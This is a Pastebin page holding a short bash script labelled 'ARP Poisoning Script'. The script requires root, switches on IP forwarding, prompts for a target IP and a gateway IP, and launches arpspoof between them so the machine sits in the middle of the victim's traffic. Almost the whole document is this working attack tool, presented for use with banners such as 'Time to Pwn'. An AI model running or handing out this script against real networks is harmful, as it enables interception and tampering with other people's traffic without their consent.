Advertisement
3l1t3Sn1P3r

ARP Poisoning Script

Jul 12th, 2015
302
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.95 KB | None | 0 0
  1. #!/bin/bash
  2. niccard=eth1
  3. if [[ $EUID -ne 0 ]]; then
  4. echo -e "\n\t\t\t33[1m 33[31m Script must be run as root! 33[0m \n"
  5. echo -e "\t\t\t Example: sudo $0 \n"
  6. exit 1
  7. else
  8. echo -e "\n33[1;32m#######################################"
  9. echo -e "# ARP Poison Script #"
  10. echo -e "#######################################"
  11. echo -e " 33[1;31mCoded By:33[0m Travis Phillips"
  12. echo -e " 33[1;31mDate Released:33[0m 03/27/2012"
  13. echo -e " 33[1;31mWebsite:33[0m http://theunl33t.blogspot.com\n33[0m"
  14. echo -n "Please enter target's IP: "
  15. read victimIP
  16. echo -n "Please enter Gateway's IP: "
  17. read gatewayIP
  18. echo -e "\n\t\t ---===[Time to Pwn]===---\n\n\n"
  19. echo -e "\t\t--==[Targets]==--"
  20. echo -e "\t\tTarget: $victimIP"
  21. echo -e "\t\tGateway: $gatewayIP \n\n"
  22. echo -e "[*] Enabling IP Forwarding \n"
  23. echo "1" > /proc/sys/net/ipv4/ip_forward
  24. echo -e "[*] Starting ARP Poisoning between $victimIP and $gatewayIP! \n"
  25. xterm -e "arpspoof -i $niccard -t $victimIP $gatewayIP" &
  26. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement